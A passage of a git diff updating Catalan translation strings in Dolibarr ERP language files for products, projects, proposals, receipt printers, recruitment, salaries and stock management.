ProductsOrServiceMultiPrice=Preus per als clients (de productes o serveis, multipreus) ProductSellByQuarterHT=Facturació de productes trimestral abans d'impostos ServiceSellByQuarterHT=Facturació de serveis trimestral abans d'impostos -Quarter1=1º trimestre -Quarter2=2º trimestre -Quarter3=3º trimestre -Quarter4=4º trimestre +Quarter1=1r trimestre +Quarter2=2n trimestre +Quarter3=3r trimestre +Quarter4=4t trimestre BarCodePrintsheet=Imprimeix codis de barres PageToGenerateBarCodeSheets=Amb aquesta eina, podeu imprimir fulls adhesius de codis de barres. Trieu el format de la vostra pàgina d'etiqueta, tipus de codi de barres i valor del codi de barres, i feu clic al botó %s . NumberOfStickers=Nombre d'adhesius per a imprimir a la pàgina @@ -304,7 +304,7 @@ DynamicPriceDesc=Podeu definir fórmules matemàtiques per a calcular els preus AddVariable=Afegeix variable AddUpdater=Afegeix actualitzador GlobalVariables=Variables globals -VariableToUpdate=Variable per actualitzar +VariableToUpdate=Variable a actualitzar GlobalVariableUpdaters=Actualitzacions externes per a variables GlobalVariableUpdaterType0=Dades JSON GlobalVariableUpdaterHelp0=Analitza les dades JSON de l'URL especificat, VALUE especifica la ubicació del valor rellevant, @@ -324,7 +324,7 @@ DefaultUnitToShow=Unitat NbOfQtyInProposals=Qtat. en pressupostos ClinkOnALinkOfColumn=Fes clic en l'enllaç de columna %s per aconseguir una vista detallada... ProductsOrServicesTranslations=Traduccions de productes / serveis -TranslatedLabel=Etiqueta traduïda +TranslatedLabel=Nom traduït TranslatedDescription=Descripció traduïda TranslatedNote=Notes traduïdes ProductWeight=Pes per 1 producte @@ -345,7 +345,7 @@ PossibleValues=Valors possibles GoOnMenuToCreateVairants=Aneu al menú %s - %s per a preparar variants d’atributs (com ara colors, mida...) UseProductFournDesc=Afegiu una característica per definir la descripció del producte definida pels proveïdors (per a cada referència del proveïdor), a més de la descripció per als clients ProductSupplierDescription=Descripció del venedor del producte -UseProductSupplierPackaging=Utilitzeu els envasos als preus del proveïdor (calcular les quantitats segons els envasos fixats al preu del proveïdor quan afegiu / actualitzeu la línia dels documents del proveïdor) +UseProductSupplierPackaging=Utilitzeu l'embalatge per als preus arrodonits a múltiples per als preus de compra (torneu a calcular les quantitats segons els múltiples establerts als preus de compra quan afegiu/actualitzeu la línia en els documents d'un proveïdor) PackagingForThisProduct=Embalatge PackagingForThisProductDesc=Comprareu automàticament un múltiple d'aquesta quantitat. QtyRecalculatedWithPackaging=La quantitat de la línia es recalcula segons els envasos del proveïdor @@ -399,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Acció només disponible sobre la variant de ProductsPricePerCustomer=Preus dels productes per clients ProductSupplierExtraFields=Atributs addicionals (preus de proveïdors) DeleteLinkedProduct=Suprimeix el producte fill enllaçat a la combinació -AmountUsedToUpdateWAP=Import a utilitzar per actualitzar el preu mitjà ponderat +AmountUsedToUpdateWAP=Import unitari a utilitzar per a actualitzar el Preu Mitjà Ponderat PMPValue=Preu mitjà ponderat PMPValueShort=PMP mandatoryperiod=Períodes obligatoris @@ -416,6 +416,7 @@ ProductsMergeSuccess=Els productes s'han fusionat ErrorsProductsMerge=Errors en la combinació de productes SwitchOnSaleStatus=Canvia l'estat de venda SwitchOnPurchaseStatus=Activa l'estat de compra +UpdatePrice=Augmenta/disminueix el preu del client StockMouvementExtraFields= Camps addicionals (moviment d'existències) InventoryExtraFields= Camps addicionals (inventari) ScanOrTypeOrCopyPasteYourBarCodes=Escaneja o escriviu o copieu/enganxeu els vostres codis de barres @@ -427,3 +428,4 @@ RealValuation=Valoració real ConfirmEditExtrafield = Seleccioneu l'extracamp que voleu modificar ConfirmEditExtrafieldQuestion = Esteu segur que voleu modificar aquest camp extra? ModifyValueExtrafields = Modificar el valor d'un camp extra +OrProductsWithCategories=O productes amb etiquetes diff --git a/htdocs/langs/ca_ES/projects.lang b/htdocs/langs/ca_ES/projects.lang index cacab31b903..b5521f91926 100644 --- a/htdocs/langs/ca_ES/projects.lang +++ b/htdocs/langs/ca_ES/projects.lang @@ -2,7 +2,7 @@ RefProject=Ref. projecte ProjectRef=Ref. projecte ProjectId=ID projecte -ProjectLabel=Etiqueta de projecte +ProjectLabel=Nom del projecte ProjectsArea=Àrea de projectes ProjectStatus=Estat el projecte SharedProject=Projecte compartit @@ -23,6 +23,7 @@ TasksPublicDesc=Aquesta vista mostra tots els projectes i tasques en els que vos TasksDesc=Aquesta vista presenta tots els projectes i tasques (els permisos d'usuari us concedeixen permís per a veure-ho tot). AllTaskVisibleButEditIfYouAreAssigned=Totes les tasques per a projectes qualificats són visibles, però podeu ingressar només el temps per a la tasca assignada a l'usuari seleccionat. Assigneu la tasca si necessiteu introduir-hi el temps. OnlyYourTaskAreVisible=Només són visibles les tasques assignades. Si heu d'introduir el temps en una tasca i si la tasca no és visible aquí, heu d'assignar-la a vosaltres mateixos. +ImportDatasetProjects=Projectes o oportunitats ImportDatasetTasks=Tasques de projectes ProjectCategories=Etiquetes de projecte NewProject=Projecte nou @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Import d'oportunitats de projectes oberts p OpportunitiesStatusForProjects=Import d'oportunitats de projectes oberts per estat ShowProject=Veure projecte ShowTask=Veure tasca +SetThirdParty=Estableix un tercer SetProject=Indica el projecte +OutOfProject=Fora de projecte NoProject=Cap projecte definit NbOfProjects=Nombre de projectes NbOfTasks=Nombre de tasques @@ -47,7 +50,7 @@ TimeSpentByUser=Temps dedicat per usuari TimesSpent=Temps dedicat TaskId=ID de tasca RefTask=Ref. Tasca -LabelTask=Etiqueta de tasques +LabelTask=Nom de la tasca TaskTimeSpent=Temps dedicat a les tasques TaskTimeUser=Usuari TaskTimeNote=Nota @@ -62,7 +65,7 @@ TimeToBill=Temps no facturat TimeBilled=Temps facturat Tasks=Tasques Task=Tasca -TaskDateStart=Data d'inici +TaskDateStart=Data d'inici de la tasca TaskDateEnd=Data de finalització TaskDescription=Descripció de tasca NewTask=Tasca nova @@ -122,7 +125,8 @@ ValidateProject=Validar projecte ConfirmValidateProject=Vols validar aquest projecte? CloseAProject=Tancar projecte ConfirmCloseAProject=Vols tancar aquest projecte? -AlsoCloseAProject=Tanqueu el projecte també (manteniu-lo obert si encara heu de seguir les tasques de producció) +AlsoCloseAProject=Tanca el projecte també +AlsoCloseAProjectTooltip=Manteniu-lo obert si encara heu de seguir les tasques de producció ReOpenAProject=Reobrir projecte ConfirmReOpenAProject=Vols reobrir aquest projecte? ProjectContact=Contactes del projecte @@ -165,7 +169,7 @@ OpportunityProbability=Probabilitat d'oportunitat OpportunityProbabilityShort=Probab. d'op. OpportunityAmount=Import de la oportunitat OpportunityAmountShort=Import de la oportunitat -OpportunityWeightedAmount=Import ponderat per l'oportunitat +OpportunityWeightedAmount=Import d'oportunitat, ponderada per probabilitat OpportunityWeightedAmountShort=Op. quantitat ponderada OpportunityAmountAverageShort=Import mitjà de la oportunitat OpportunityAmountWeigthedShort=Import d'oportunitat ponderada @@ -221,7 +225,7 @@ ProjectsStatistics=Estadístiques de projectes o leads TasksStatistics=Estadístiques de tasques de projectes o leads TaskAssignedToEnterTime=Tasca assignada. És possible entrar els temps en aquesta tasca. IdTaskTime=Id de temps de tasca -YouCanCompleteRef=Si voleu completar la referència amb algun sufix, es recomana afegir un caràcter per separar-lo, de manera que la numeració automàtica encara funcionarà correctament per als propers projectes. Per exemple %s-MYSUFFIX +YouCanCompleteRef=Si voleu completar la referència amb algun sufix, es recomana afegir un caràcter - per a separar-lo, de manera que la numeració automàtica encara funcionarà correctament per als propers projectes. Per exemple, %s-MYSUFFIX OpenedProjectsByThirdparties=Projectes oberts per tercers OnlyOpportunitiesShort=Només oportunitats OpenedOpportunitiesShort=Oportunitats obertes @@ -238,9 +242,9 @@ OppStatusPENDING=Pendent OppStatusWON=Guanyat OppStatusLOST=Perdut Budget=Pressupost -AllowToLinkFromOtherCompany=Permet enllaçar projectes procedents d'altres companyies

      Valors possibles :
      - Mantenir en blanc: Pot enllaçar qualsevol projecte de la companyia (per defecte)
      - "tot" : Pot enllaçar qualsevol projecte, inclòs projectes d'altres companyies
      - Llista d'identificadors de tercers separats per comes : Pot enllaçar tots els projectes dels tercers definits dintre d'aquesta llista (Exemple : 123,4795,53)
      -LatestProjects=Darrers %s projectes -LatestModifiedProjects=Darrers %s projectes modificats +AllowToLinkFromOtherCompany=Permet enllaçar un element amb un projecte d'una altra empresa

      Valors admesos:
      - Buit: Pot enllaçar elements amb qualsevol projecte de la mateixa empresa (per defecte)
      - "all": Pot enllaçar elements amb qualsevol projecte, inclòs projectes d'altres empreses
      - Una llista d'identificadors de tercers separats per comes: pot enllaçar elements amb qualsevol projecte d'aquests tercers (Exemple: 123,4795,53)
      +LatestProjects=Últims %s projectes +LatestModifiedProjects=Últims %s projectes modificats OtherFilteredTasks=Altres tasques filtrades NoAssignedTasks=No s'ha trobat cap tasca assignada (assigneu el projecte/tasques a l'usuari actual des del quadre de selecció superior per a introduir-hi l'hora) ThirdPartyRequiredToGenerateInvoice=Cal definir un tercer en el projecte per a poder facturar-lo. @@ -249,17 +253,18 @@ ChooseANotYetAssignedTask=Trieu una tasca que encara no us ha estat assignada # Comments trans AllowCommentOnTask=Permet comentaris dels usuaris a les tasques AllowCommentOnProject=Permetre comentaris dels usuaris als projectes -DontHavePermissionForCloseProject=No teniu permisos per tancar el projecte %s -DontHaveTheValidateStatus=El projecte %s ha de ser obert per tancar +DontHavePermissionForCloseProject=No teniu permisos per a tancar el projecte %s +DontHaveTheValidateStatus=El projecte %s ha d'estar obert per a tancar-se RecordsClosed=%s projecte(s) tancat(s) SendProjectRef=Informació del projecte %s ModuleSalaryToDefineHourlyRateMustBeEnabled=El mòdul "Salaris" ha d'estar habilitat per a definir la tarifa horària dels empleats per tal de valorar el temps dedicat NewTaskRefSuggested=Tasca ref en ús, es requereix una nova tasca ref +NumberOfTasksCloned=%s tasca(s) clonada(s). TimeSpentInvoiced=Temps de facturació facturat TimeSpentForIntervention=Temps dedicat TimeSpentForInvoice=Temps dedicat OneLinePerUser=Una línia per usuari -ServiceToUseOnLines=Servei d'ús a les línies +ServiceToUseOnLines=Servei per defecte per a utilitzar a les línies InvoiceGeneratedFromTimeSpent=La factura %s s'ha generat a partir del temps dedicat al projecte InterventionGeneratedFromTimeSpent=La intervenció %s s'ha generat a partir del temps dedicat al projecte ProjectBillTimeDescription=Comproveu si heu introduït el full de temps en les tasques del projecte I teniu previst generar factures des del full de temps per a facturar al client del projecte (no comproveu si voleu crear la factura que no es basa en els fulls de temps introduïts). Nota: Per a generar la factura, aneu a la pestanya "Temps introduït" del projecte i seleccioneu les línies que cal incloure. @@ -281,11 +286,11 @@ RefTaskParent=Ref. Tasca pare ProfitIsCalculatedWith=El benefici es calcula utilitzant AddPersonToTask=Afegeix també a les tasques UsageOrganizeEvent=Ús: organització d'esdeveniments -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Classifica un projecte com a tancat quan s'hagin completat totes les seves tasques (progrés 100%%) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Nota: els projectes existents amb totes les tasques amb un progrés del 100%% no es veuran afectats, i els haureu de tancar manualment. Així doncs, aquesta opció només afecta els projectes oberts. -SelectLinesOfTimeSpentToInvoice=Seleccioneu les línies de temps que no es facturen i, a continuació, feu una acció massiva "Genera factura" per facturar-les +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Marca el projecte com a tancat quan s'hagin completat totes les seves tasques (progrés 100%%) +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Nota: els projectes existents amb totes les tasques ja configurades amb un progrés de 100%% no es veuran afectats: haureu de tancar-los manualment. Aquesta opció només afecta els projectes oberts. +SelectLinesOfTimeSpentToInvoice=Seleccioneu les línies de temps invertides que no estiguin facturades i, a continuació, feu l'acció massiva "Genera factura" per a facturar-les. ProjectTasksWithoutTimeSpent=Projecte tasques sense temps dedicat -FormForNewLeadDesc=Gràcies per omplir el següent formulari per contactar amb nosaltres. També podeu enviar-nos un correu electrònic directament a %s . +FormForNewLeadDesc=Gràcies per a omplir el següent formulari per a contactar amb nosaltres. També podeu enviar-nos un correu electrònic directament a %s. ProjectsHavingThisContact=Projectes amb aquest contacte StartDateCannotBeAfterEndDate=La data de fi no pot ser anterior a la d'inici ErrorPROJECTLEADERRoleMissingRestoreIt=Falta la funció "PROJECTLEADER" o s'ha desactivat; restaura-la al diccionari de tipus de contacte @@ -294,3 +299,4 @@ EnablePublicLeadForm=Habiliteu el formulari públic de contacte NewLeadbyWeb=El teu missatge o sol·licitud s'ha enregistrat. Et respondrem o contactarem aviat. NewLeadForm=Nou formulari de contacte LeadFromPublicForm=Pista en línia des de forma pública +ExportAccountingReportButtonLabel=Obteniu informe diff --git a/htdocs/langs/ca_ES/propal.lang b/htdocs/langs/ca_ES/propal.lang index 23d054a0aa2..43b6863ba3f 100644 --- a/htdocs/langs/ca_ES/propal.lang +++ b/htdocs/langs/ca_ES/propal.lang @@ -65,49 +65,54 @@ AvailabilityPeriod=Temps de lliurament SetAvailability=Indica el temps de lliurament AfterOrder=després de la comanda OtherProposals=Altres pressupostos + ##### Availability ##### AvailabilityTypeAV_NOW=Immediata AvailabilityTypeAV_1W=1 setmana AvailabilityTypeAV_2W=2 setmanes AvailabilityTypeAV_3W=3 setmanes AvailabilityTypeAV_1M=1 mes -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Agent comercial del seguiment del pressupost TypeContact_propal_external_BILLING=Contacte client de facturació pressupost TypeContact_propal_external_CUSTOMER=Contacte client seguiment pressupost TypeContact_propal_external_SHIPPING=Contacte del client pel lliurament + # Document models -DocModelAzurDescription=Un model complet de pressupost (antiga implementació de la plantilla Cyan) -DocModelCyanDescription=Un model de pressupost complet -DefaultModelPropalCreate=Model per defecte -DefaultModelPropalToBill=Model per defecte en tancar un pressupost (a facturar) -DefaultModelPropalClosed=Model per defecte en tancar un pressupost (no facturat) -ProposalCustomerSignature=Acceptació per escrit, segell de l'empresa, data i signatura -ProposalsStatisticsSuppliers=Estadístiques de propostes de proveïdors -CaseFollowedBy=Cas seguit per -SignedOnly=Només signat -NoSign=Conjunt no signat -NoSigned=conjunt no signat CantBeNoSign=no es pot configurar sense signar +CaseFollowedBy=Cas seguit per ConfirmMassNoSignature=Confirmació massiva no signada ConfirmMassNoSignatureQuestion=Esteu segur que voleu establir els registres seleccionats no signats? -IsNotADraft=no és un esborrany -PassedInOpenStatus=ha estat validat -Sign=Signe -Signed=signat -ConfirmMassValidation=Confirmació de validació massiva ConfirmMassSignature=Confirmació de signatura massiva -ConfirmMassValidationQuestion=Esteu segur que voleu validar els registres seleccionats? ConfirmMassSignatureQuestion=Esteu segur que voleu signar els registres seleccionats? -IdProposal=ID del pressupost +ConfirmMassValidation=Confirmació de validació massiva +ConfirmMassValidationQuestion=Esteu segur que voleu validar els registres seleccionats? +ConfirmRefusePropal=Esteu segur que voleu rebutjar aquesta proposta comercial? +ContractSigned=Contracte signat +DefaultModelPropalClosed=Model per defecte en tancar un pressupost (no facturat) +DefaultModelPropalCreate=Model per defecte +DefaultModelPropalToBill=Model per defecte en tancar un pressupost (a facturar) +DocModelAzurDescription=Un model complet de pressupost (antiga implementació de la plantilla Cyan) +DocModelCyanDescription=Un model de pressupost complet +FichinterSigned=Intervenció signada IdProduct=ID de producte +IdProposal=ID del pressupost +IsNotADraft=no és un esborrany LineBuyPriceHT=Preu de compra sense impostos per línia -SignPropal=Acceptar la proposta +NoSign=Rebutja +NoSigned=conjunt no signat +PassedInOpenStatus=ha estat validat +PropalAlreadyRefused=Proposta ja rebutjada +PropalAlreadySigned=Proposta ja acceptada +PropalRefused=Proposta rebutjada +PropalSigned=S'accepta la proposta +ProposalCustomerSignature=Acceptació per escrit, segell de l'empresa, data i signatura +ProposalsStatisticsSuppliers=Estadístiques de propostes de proveïdors RefusePropal=Rebutja la proposta Sign=Signe -NoSign=Conjunt no signat -PropalAlreadySigned=Proposta ja acceptada -PropalAlreadyRefused=Proposta ja rebutjada -PropalSigned=S'accepta la proposta -PropalRefused=Proposta rebutjada -ConfirmRefusePropal=Esteu segur que voleu rebutjar aquesta proposta comercial? +SignContract=Signar contracte +SignFichinter=Signar la intervenció +SignPropal=Acceptar la proposta +Signed=signat +SignedOnly=Només signat diff --git a/htdocs/langs/ca_ES/receiptprinter.lang b/htdocs/langs/ca_ES/receiptprinter.lang index cee89d1b087..3ea95f46f8b 100644 --- a/htdocs/langs/ca_ES/receiptprinter.lang +++ b/htdocs/langs/ca_ES/receiptprinter.lang @@ -7,7 +7,7 @@ TestSentToPrinter=Prova enviada a la impressora %s ReceiptPrinter=Impressores de tiquets ReceiptPrinterDesc=Configuració d'impressores de tiquets ReceiptPrinterTemplateDesc=Configuració de plantilles -ReceiptPrinterTypeDesc=Descripció del tipus d'impressora de tiquets +ReceiptPrinterTypeDesc=Exemple de valors possibles per al camp "Paràmetres" segons el tipus de controlador ReceiptPrinterProfileDesc=Descripció del perfil de la impressora de tiquets ListPrinters=Llista d'impressores SetupReceiptTemplate=Configuració de plantilla @@ -35,9 +35,9 @@ DOL_LINE_FEED=Salta la línia DOL_ALIGN_LEFT=Alinea el text a l'esquerra DOL_ALIGN_CENTER=Centra el text DOL_ALIGN_RIGHT=Alinea el text a la dreta -DOL_USE_FONT_A=Utilitza la font A de la impressora -DOL_USE_FONT_B=Utilitza la font B de la impressora -DOL_USE_FONT_C=Utilitza la font C de la impressora +DOL_USE_FONT_A=Utilitzeu la lletra tipogràfica A de la impressora +DOL_USE_FONT_B=Utilitzeu la lletra tipogràfica B de la impressora +DOL_USE_FONT_C=Utilitzeu la lletra tipogràfica C de la impressora DOL_PRINT_BARCODE=Imprimeix codi de barres DOL_PRINT_BARCODE_CUSTOMER_ID=Imprimeix codi de barres del ID de client DOL_CUT_PAPER_FULL=Talla el tiquet completament @@ -55,6 +55,8 @@ DOL_DEFAULT_HEIGHT_WIDTH=Alçada i amplada per defecte DOL_UNDERLINE=Activa subratllat DOL_UNDERLINE_DISABLED=Desactiva subratllat DOL_BEEP=So beep +DOL_BEEP_ALTERNATIVE=So de bip (mode alternatiu) +DOL_PRINT_CURR_DATE=Imprimeix la data/hora actuals DOL_PRINT_TEXT=Imprimeix text DateInvoiceWithTime=Data i hora de la factura YearInvoice=Any de factura @@ -72,7 +74,7 @@ DOL_VALUE_CUSTOMER_MAIL=Correu del client DOL_VALUE_CUSTOMER_PHONE=Telèfon del client DOL_VALUE_CUSTOMER_MOBILE=Mòbil del client DOL_VALUE_CUSTOMER_SKYPE=Skype del client -DOL_VALUE_CUSTOMER_TAX_NUMBER=CIF/NIF del client +DOL_VALUE_CUSTOMER_TAX_NUMBER=Número fiscal del client DOL_VALUE_CUSTOMER_ACCOUNT_BALANCE=Saldo del compte del client DOL_VALUE_MYSOC_NAME=El nom de l'empresa VendorLastname=Cognom del venedor diff --git a/htdocs/langs/ca_ES/receptions.lang b/htdocs/langs/ca_ES/receptions.lang index 51a5290bc70..a4063b6c434 100644 --- a/htdocs/langs/ca_ES/receptions.lang +++ b/htdocs/langs/ca_ES/receptions.lang @@ -32,8 +32,9 @@ StatusReceptionDraftShort=Esborrany StatusReceptionValidatedShort=Validat StatusReceptionProcessedShort=Processats ReceptionSheet=Full de recepció +ValidateReception=Valida la recepció ConfirmDeleteReception=Vols suprimir aquesta recepció? -ConfirmValidateReception=Vols validar aquesta recepció amb referència %s ? +ConfirmValidateReception=Esteu segur que voleu validar aquesta recepció amb la referència %s? ConfirmCancelReception=Vols cancel·lar aquesta recepció? StatsOnReceptionsOnlyValidated=Les estadístiques compten només les recepcions validades. La data utilitzada és la data de validació de la recepció (la data de lliurament planificada no sempre es coneix). SendReceptionByEMail=Envia la recepció per correu electrònic @@ -46,9 +47,8 @@ ProductQtyInSuppliersReceptionAlreadyRecevied=Quantitat de producte des de coman ValidateOrderFirstBeforeReception=Primer has de validar la comanda abans de poder fer recepcions. ReceptionsNumberingModules=Mòdul de numeració per a recepcions ReceptionsReceiptModel=Plantilles de documents per a recepcions -NoMorePredefinedProductToDispatch=No hi ha més productes predefinits per ser enviats +NoMorePredefinedProductToDispatch=No hi ha més productes predefinits per a enviar ReceptionExist=Hi ha una recepció -ByingPrice=Preu per ordre ReceptionBackToDraftInDolibarr=Recepció %s torna a esborrany ReceptionClassifyClosedInDolibarr=Recepció %s classificada Tancada ReceptionUnClassifyCloseddInDolibarr=La recepció %s torna a obrir diff --git a/htdocs/langs/ca_ES/recruitment.lang b/htdocs/langs/ca_ES/recruitment.lang index 6482ee9a72d..cf91f9e811c 100644 --- a/htdocs/langs/ca_ES/recruitment.lang +++ b/htdocs/langs/ca_ES/recruitment.lang @@ -29,7 +29,7 @@ RecruitmentSetup = Configuració de la contractació Settings = Configuració RecruitmentSetupPage = Introduïu aquí la configuració de les opcions principals del mòdul de contractació RecruitmentArea=Àrea de contractació -PublicInterfaceRecruitmentDesc=Les pàgines públiques de feines són URL públiques per a mostrar i respondre a feines actives. Hi ha un enllaç diferent per a cada treball actiu que es troba a cada registre de la feina. +PublicInterfaceRecruitmentDesc=Les pàgines públiques de llocs de treball són URL públics per a mostrar i respondre a les feines obertes. Hi ha un enllaç diferent per a cada treball obert, que es troba a cada registre de feina. EnablePublicRecruitmentPages=Activa les pàgines públiques de treballs actius # @@ -39,7 +39,7 @@ About = Quant a RecruitmentAbout = Quant a la contractació RecruitmentAboutPage = Pàgina quant a la contractació NbOfEmployeesExpected=Nombre previst d'empleats -JobLabel=Descripció del lloc de treball +JobLabel=Nom del lloc de treball WorkPlace=Lloc de treball DateExpected=Data prevista FutureManager=Futur gerent @@ -57,15 +57,16 @@ EmailRecruiter=Correu electrònic del reclutador ToUseAGenericEmail=Per a utilitzar un correu electrònic genèric. Si no està definit, s’utilitzarà el correu electrònic del responsable de la contractació NewCandidature=Candidatura nova ListOfCandidatures=Llista de candidatures -RequestedRemuneration=Retribució sol·licitada -ProposedRemuneration=Retribució proposada +Remuneration=Sou +RequestedRemuneration=Salari sol·licitat +ProposedRemuneration=Salari proposat ContractProposed=Contracte proposat ContractSigned=Contracte signat ContractRefused=Contracte denegat RecruitmentCandidature=Candidatura JobPositions=Llocs de treball RecruitmentCandidatures=Candidatures -InterviewToDo=Entrevista per a fer +InterviewToDo=Contactes a seguir AnswerCandidature=Resposta de la candidatura YourCandidature=La teva candidatura YourCandidatureAnswerMessage=Gràcies per la teva candidatura.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=L’oferta de feina està tancada. ExtrafieldsJobPosition=Atributs complementaris (llocs de treball) ExtrafieldsApplication=Atributs complementaris (sol·licituds de feina) MakeOffer=Feu una oferta +WeAreRecruiting=Estem reclutant. Aquesta és una llista de places obertes per a cobrir... +NoPositionOpen=No hi ha posicions obertes de moment diff --git a/htdocs/langs/ca_ES/resource.lang b/htdocs/langs/ca_ES/resource.lang index a608f69d929..8738c93e6b0 100644 --- a/htdocs/langs/ca_ES/resource.lang +++ b/htdocs/langs/ca_ES/resource.lang @@ -22,7 +22,7 @@ ResourceElementPage=Elements de recursos ResourceCreatedWithSuccess=Recurs creat correctament RessourceLineSuccessfullyDeleted=Línia de recurs eliminada correctament RessourceLineSuccessfullyUpdated=Línia de recurs actualitzada correctament -ResourceLinkedWithSuccess=Recurs enllaçat correntament +ResourceLinkedWithSuccess=Recurs vinculat correctament ConfirmDeleteResource=Estàs segur de voler eliminar aquest element? RessourceSuccessfullyDeleted=Recurs eliminat correctament @@ -35,5 +35,5 @@ AssetNumber=Número de sèrie ResourceTypeCode=Codi de tipus de recurs ImportDataset_resource_1=Recursos -ErrorResourcesAlreadyInUse=Alguns recursos estan en us +ErrorResourcesAlreadyInUse=Alguns recursos estan en ús ErrorResourceUseInEvent=%s usat en %s esdeveniment diff --git a/htdocs/langs/ca_ES/salaries.lang b/htdocs/langs/ca_ES/salaries.lang index e21803b9e15..9db1fa15573 100644 --- a/htdocs/langs/ca_ES/salaries.lang +++ b/htdocs/langs/ca_ES/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Compte comptable utilitzat per usuaris tercers -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=El compte comptable dedicat definit a la fitxa d'usuari només s’utilitzarà per a la comptabilitat auxiliar. Aquest s'utilitzarà per al llibre major i com a valor per defecte de la comptabilitat auxiliar si no es defineix un compte comptable d'usuari dedicat. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Compte (del pla comptable) utilitzat per defecte per a tercers «usuaris». +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=El compte dedicat definit a la fitxa d'usuari només s'utilitzarà per a la comptabilitat de subllibre. Aquest s'utilitzarà per al Llibre Major i com a valor predeterminat de la comptabilitat del subllibre si no es defineix un compte comptable d'usuari dedicat a l'usuari. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Compte comptable per defecte per als pagaments salarials CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=De manera predeterminada, deixeu buida l'opció "Crear automàticament un pagament total" quan creeu un sou Salary=Sou @@ -18,7 +18,7 @@ TJM=Tarifa mitjana diària CurrentSalary=Salari actual THMDescription=Aquest valor es pot utilitzar per a calcular el cost del temps consumit en un projecte introduït pels usuaris si s'utilitza el mòdul de projecte TJMDescription=Aquest valor només és informatiu i no s'utilitza en cap càlcul -LastSalaries=Últims sous %s +LastSalaries=Últims %s sous AllSalaries=Tots els salaris SalariesStatistics=Estadístiques de salaris SalariesAndPayments=Salaris i pagaments diff --git a/htdocs/langs/ca_ES/stocks.lang b/htdocs/langs/ca_ES/stocks.lang index cef3f462b29..03636d18fba 100644 --- a/htdocs/langs/ca_ES/stocks.lang +++ b/htdocs/langs/ca_ES/stocks.lang @@ -24,6 +24,7 @@ StockAtDateInFuture=Data en el futur StocksByLotSerial=Estocs per lot/sèrie LotSerial=Lots/Sèries LotSerialList=Llista de lots/sèries +SubjectToLotSerialOnly=Productes subjectes només a lot/sèrie Movements=Moviments ErrorWarehouseRefRequired=El nom de referència del magatzem és obligatori ListOfWarehouses=Llistat de magatzems @@ -34,7 +35,7 @@ StockMovementForId=ID de moviment %d ListMouvementStockProject=Llista de moviments d'estoc associats al projecte StocksArea=Àrea de magatzems AllWarehouses=Tots els magatzems -IncludeEmptyDesiredStock=Inclou també estoc negatives amb estoc desitjat no definit +IncludeEmptyDesiredStock=Inclou també estoc negatiu amb estoc desitjat sense definir IncludeAlsoDraftOrders=Inclou també projectes d'ordre Location=Lloc LocationSummary=Nom curt de la ubicació @@ -48,7 +49,7 @@ StockCorrection=Regularització d'estoc CorrectStock=Regularització d'estoc StockTransfer=Transferència d’estoc TransferStock=Transferència d'estoc -MassStockTransferShort=Transferència d'estoc massiu +MassStockTransferShort=Canvi d'estoc massiu StockMovement=Moviment d'estoc StockMovements=Moviments d'estoc NumberOfUnit=Nombre d'unitats @@ -106,10 +107,10 @@ LieuWareHouse=Localització magatzem WarehousesAndProducts=Magatzems i productes WarehousesAndProductsBatchDetail=Magatzems i productes (amb detall per lot/sèrie) AverageUnitPricePMPShort=Preu mitjà ponderat -AverageUnitPricePMPDesc=El preu unitari mitjà d’entrada que vam haver de gastar per aconseguir una unitat de producte al nostre estoc. +AverageUnitPricePMPDesc=El preu unitari mitjà d'entrada que hem hagut de gastar per a incorporar 1 unitat de producte al nostre estoc. SellPriceMin=Preu de venda unitari -EstimatedStockValueSellShort=Valor per vendre -EstimatedStockValueSell=Valor per vendre +EstimatedStockValueSellShort=Valor a vendre +EstimatedStockValueSell=Valor a vendre EstimatedStockValueShort=Valor compra (PMP) EstimatedStockValue=Valor de compra (PMP) DeleteAWarehouse=Eliminar un magatzem @@ -120,7 +121,7 @@ SelectWarehouseForStockDecrease=Tria el magatzem a utilitzar en el decrement d'e SelectWarehouseForStockIncrease=Tria el magatzem a utilitzar en l'increment d'estoc NoStockAction=Sense accions sobre l'estoc DesiredStock=Estoc desitjat -DesiredStockDesc=Aquest import d'estoc serà el valor utilitzat per omplir l'estoc en la funció de reaprovisionament. +DesiredStockDesc=Aquest import d'estoc serà el valor utilitzat per a omplir l'estoc en la funció de reaprovisionament. StockToBuy=A demanar Replenishment=Reaprovisionament ReplenishmentOrders=Ordres de reaprovisionament @@ -146,15 +147,16 @@ Replenishments=reaprovisionament NbOfProductBeforePeriod=Quantitat del producte %s en estoc abans del període seleccionat (< %s) NbOfProductAfterPeriod=Quantitat de producte %s en estoc després del període seleccionat (> %s) MassMovement=Moviments en massa -SelectProductInAndOutWareHouse=Seleccioneu un magatzem d'origen i un magatzem de destinació, un producte i una quantitat i feu clic a "%s". Un cop fet això per a tots els moviments necessaris, feu clic a "%s". +SelectProductInAndOutWareHouse=Seleccioneu un magatzem d'origen (opcional), un magatzem de destinació, un producte i una quantitat i feu clic a "%s". Un cop fet això per a tots els moviments necessaris, feu clic a "%s". RecordMovement=Registre de transferència +RecordMovements=Registrar moviments d'estocs ReceivingForSameOrder=Recepcions d'aquesta comanda StockMovementRecorded=Moviments d'estoc registrat RuleForStockAvailability=Regles de requeriment d'estoc StockMustBeEnoughForInvoice=El nivell d'estoc ha de ser suficient per a afegir el producte/servei a la factura (la comprovació es fa sobre l'estoc real actual quan s'afegeix una línia a la factura sigui quina sigui la regla del canvi automàtic d'estoc) StockMustBeEnoughForOrder=El nivell d'estoc ha de ser suficient per a afegir el producte/servei a la comanda (la comprovació es fa sobre l'estoc real actual quan s'afegeix una línia a la comanda sigui quina sigui la regla del canvi automàtic d'estoc) StockMustBeEnoughForShipment= El nivell d'estoc ha 